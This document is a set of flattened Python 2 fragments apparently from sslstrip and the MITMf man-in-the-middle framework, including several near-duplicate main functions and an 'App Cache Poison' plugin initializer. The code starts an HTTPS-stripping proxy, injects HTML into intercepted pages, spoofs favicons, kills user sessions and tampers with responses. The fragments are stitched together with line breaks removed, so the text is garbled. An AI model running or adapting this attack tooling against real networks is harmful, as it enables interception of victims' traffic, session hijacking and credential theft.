def main(argv): (logFile, logLevel, listenPort, spoofFavicon, killSessions, tamperConfigFile, injectFile) = parseOptions(argv) logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', filename=logFile, filemode='w') # Verify is inject option is enabled if (injectFile != False): try: with open(injectFile, 'r') as f: HTMLInjector.getInstance().setInjectionCode(f.read()) except IOError as e: logging.warning("Couldn't read " + injectFile) URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) CookieCleaner.getInstance().setEnabled(killSessions) ResponseTampererFactory.buildTamperer(tamperConfigFile) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(int(listenPort), strippingFactory) print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." reactor.run()
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.config_file = options.tampercfg or "./config_files/app_cache_poison.cfg" print "[*] App Cache Poison plugin online" ResponseTampererFactory.buildTamperer(self.config_file)
def main(argv): (logFile, logLevel, listenPort, spoofFavicon, killSessions, tamperConfigFile) = parseOptions(argv) logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', filename=logFile, filemode='w') URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) CookieCleaner.getInstance().setEnabled(killSessions) ResponseTampererFactory.buildTamperer(tamperConfigFile) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(int(listenPort), strippingFactory) print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." reactor.run()
# All our options should be loaded now, pass them onto plugins print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version load = [] try: for p in plugins: if getattr(args, p.optname): p.initialize(args) load.append(p) except NotImplementedError: print "Plugin %s lacked initialize function." % p.name # Plugins are ready to go, start MITM URLMonitor.getInstance().setFaviconSpoofing(args.favicon) CookieCleaner.getInstance().setEnabled(args.killsessions) ResponseTampererFactory.buildTamperer(args.tamper) ProxyPlugins.getInstance().setPlugins(load) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version print "[*] sergio-proxy v%s online" % sergio_version reactor.run() # cleanup on exit for p in load: p.finish()